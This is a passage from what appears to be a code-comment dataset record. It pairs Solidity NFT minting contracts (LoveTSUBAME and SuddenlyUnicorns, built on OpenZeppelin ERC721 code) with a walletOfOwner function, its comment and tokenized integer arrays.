address to, uint256 tokenId, bytes memory _data ) public virtual override { require( _isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved" ); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require( _exists(tokenId), "ERC721: operator query for nonexistent token" ); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require( ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own" ); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received( _msgSender(), from, tokenId, _data ) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert( "ERC721: transfer to non ERC721Receiver implementer" ); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require( index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds" ); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require( index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds" ); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: LoveTSUBAME.sol pragma solidity ^0.8.0; /// @author Hammad Ghazi contract LoveTSUBAME is ERC721Enumerable, Ownable { using Counters for Counters.Counter; Counters.Counter private _tokenId; uint256 public constant MAX_TSUBAME = 10000; uint256 public price = 80000000000000000; //0.08 Ether string baseTokenURI; bool public saleOpen = false; bool public presaleOpen = false; mapping(address => bool) public whitelistAddr; event LoveTsubameMinted(uint256 totalMinted); constructor(string memory baseURI) ERC721("Love TSUBAME", "TSUBAME") { setBaseURI(baseURI); } function setPrice(uint256 _newPrice) external onlyOwner { price = _newPrice; } //Close sale if open, open sale if closed function flipSaleState() external onlyOwner { saleOpen = !saleOpen; } function flipPresaleState() external onlyOwner { presaleOpen = !presaleOpen; } function withdrawAll() external onlyOwner { (bool success, ) = msg.sender.call{value: address(this).balance}(""); require(success, "Transfer failed."); } function whitelistAddress(address[] calldata users) external onlyOwner { for (uint256 i = 0; i < users.length; i++) { whitelistAddr[users[i]] = true; } } function presaleMint(uint256 _count) external payable { require( whitelistAddr[msg.sender] == true, "Address not eligible for presale mint" ); require(presaleOpen, "Presale is not open yet"); require( _count > 0 && _count <= 5, "Minimum 1 and Maximum 5 LoveTSUBAME can be minted per address in presale" ); require( 5 >= walletOfOwner(msg.sender).length + _count, "Purchase will exceed max presale mint amount per address" ); require( msg.value >= price * _count, "Ether sent with this transaction is not correct" ); if (walletOfOwner(msg.sender).length + _count == 5) { whitelistAddr[msg.sender] = false; } address to = msg.sender; for (uint256 i = 0; i < _count; i++) { _mint(to); } } //mint LoveTSUBAME function mintLoveTsubame(address _to, uint256 _count) external payable { require( totalSupply() + _count <= MAX_TSUBAME, "Exceeds maximum supply of LoveTSUBAME" ); require( _count > 0, "Minimum 1 LoveTSUBAME has to be minted per transaction" ); if (msg.sender != owner()) { require(saleOpen, "Sale is not open yet"); require( _count <= 20, "Maximum 20 LoveTSUBAME can be minted per transaction" ); require( msg.value >= price * _count, "Ether sent with this transaction is not correct" ); } for (uint256 i = 0; i < _count; i++) { _mint(_to); } } //Get token Ids of all tokens owned by _owner function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 tokenCount = balanceOf(_owner); uint256[] memory tokensId = new uint256[](tokenCount); for (uint256 i = 0; i < tokenCount; i++) { tokensId[i] = tokenOfOwnerByIndex(_owner, i); } return tokensId; } function setBaseURI(string memory baseURI) public onlyOwner { baseTokenURI = baseURI; } function _mint(address _to) private { _tokenId.increment(); uint256 tokenId = _tokenId.current(); _safeMint(_to, tokenId); emit LoveTsubameMinted(tokenId); } function _baseURI() internal view virtual override returns (string memory) { return baseTokenURI; } }
Get token Ids of all tokens owned by _owner
function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 tokenCount = balanceOf(_owner); uint256[] memory tokensId = new uint256[](tokenCount); for (uint256 i = 0; i < tokenCount; i++) { tokensId[i] = tokenOfOwnerByIndex(_owner, i); } return tokensId; }
9,877,951
[ 1, 967, 1147, 29085, 434, 777, 2430, 16199, 635, 389, 8443, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 9230, 951, 5541, 12, 2867, 389, 8443, 13, 203, 3639, 1071, 203, 3639, 1476, 203, 3639, 1135, 261, 11890, 5034, 8526, 3778, 13, 203, 565, 288, 203, 3639, 2254, 5034, 1147, 1380, 273, 11013, 951, 24899, 8443, 1769, 203, 203, 3639, 2254, 5034, 8526, 3778, 2430, 548, 273, 394, 2254, 5034, 8526, 12, 2316, 1380, 1769, 203, 3639, 364, 261, 11890, 5034, 277, 273, 374, 31, 277, 411, 1147, 1380, 31, 277, 27245, 288, 203, 5411, 2430, 548, 63, 77, 65, 273, 1147, 951, 5541, 21268, 24899, 8443, 16, 277, 1769, 203, 3639, 289, 203, 203, 3639, 327, 2430, 548, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
//Contract based on [https://docs.openzeppelin.com/contracts/3.x/erc721](https://docs.openzeppelin.com/contracts/3.x/erc721) // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; contract SuddenlyUnicorns is ERC721, Ownable { using Counters for Counters.Counter; Counters.Counter private supply; string public baseTokenURI = ""; string public SUDDENLY_UNICORNS_PROVENANCE = ""; uint256 public price = 25000000000000000; // 0.025 Ether uint256 public constant MAX_SUPPLY = 11111; uint256 public maxMintCount = 20; bool public isSaleActive = false; constructor(string memory _baseTokenURI) ERC721("Suddenly Unicorns", "SUNI") { setBaseURI(_baseTokenURI); } function mintTokens(uint256 _numberOfTokens) public payable { require( isSaleActive, "Sale is not active for minting Suddenly Unicorns." ); require( (price * _numberOfTokens) <= msg.value, "ETH is not sufficient, please check the price required" ); require( (balanceOf(msg.sender) + _numberOfTokens) <= maxMintCount, "Exceeds maximum number of tokens that can be owned" ); require( (supply.current() + _numberOfTokens) <= MAX_SUPPLY, "Exceeds maximum supply" ); for (uint256 i = 0; i < _numberOfTokens; i++) { supply.increment(); _safeMint(msg.sender, supply.current()); } } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory ownedTokenIds = new uint256[](ownerTokenCount); uint256 currentTokenId = 1; uint256 ownedTokenIndex = 0; while ( ownedTokenIndex < ownerTokenCount && currentTokenId <= MAX_SUPPLY ) { address currentTokenOwner = ownerOf(currentTokenId); if (currentTokenOwner == _owner) { ownedTokenIds[ownedTokenIndex] = currentTokenId; ownedTokenIndex++; } currentTokenId++; } return ownedTokenIds; } function setPrice(uint256 _newPrice) public onlyOwner { price = _newPrice; } function setMaxMintCount(uint256 _newMaxMintCount) public onlyOwner { maxMintCount = _newMaxMintCount; } function toggleSaleState() public onlyOwner { isSaleActive = !isSaleActive; } function setBaseURI(string memory _baseTokenURI) public onlyOwner { baseTokenURI = _baseTokenURI; } function setProvenanceHash(string memory _provenanceHash) public onlyOwner { SUDDENLY_UNICORNS_PROVENANCE = _provenanceHash; } // GETTER FUNCTIONS function totalSupply() public view onlyOwner returns (uint256) { return supply.current(); } function reserveTokens() public onlyOwner { for (uint256 i = 0; i < 5; i++) { supply.increment(); _safeMint(msg.sender, supply.current()); } } function withdraw() public payable onlyOwner { require(payable(msg.sender).send(address(this).balance)); } function withdrawPartial(uint256 _amount) public payable onlyOwner { require(_amount <= address(this).balance, "not enough funds"); require(payable(msg.sender).send(_amount)); } function _baseURI() internal view virtual override returns (string memory) { return baseTokenURI; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual 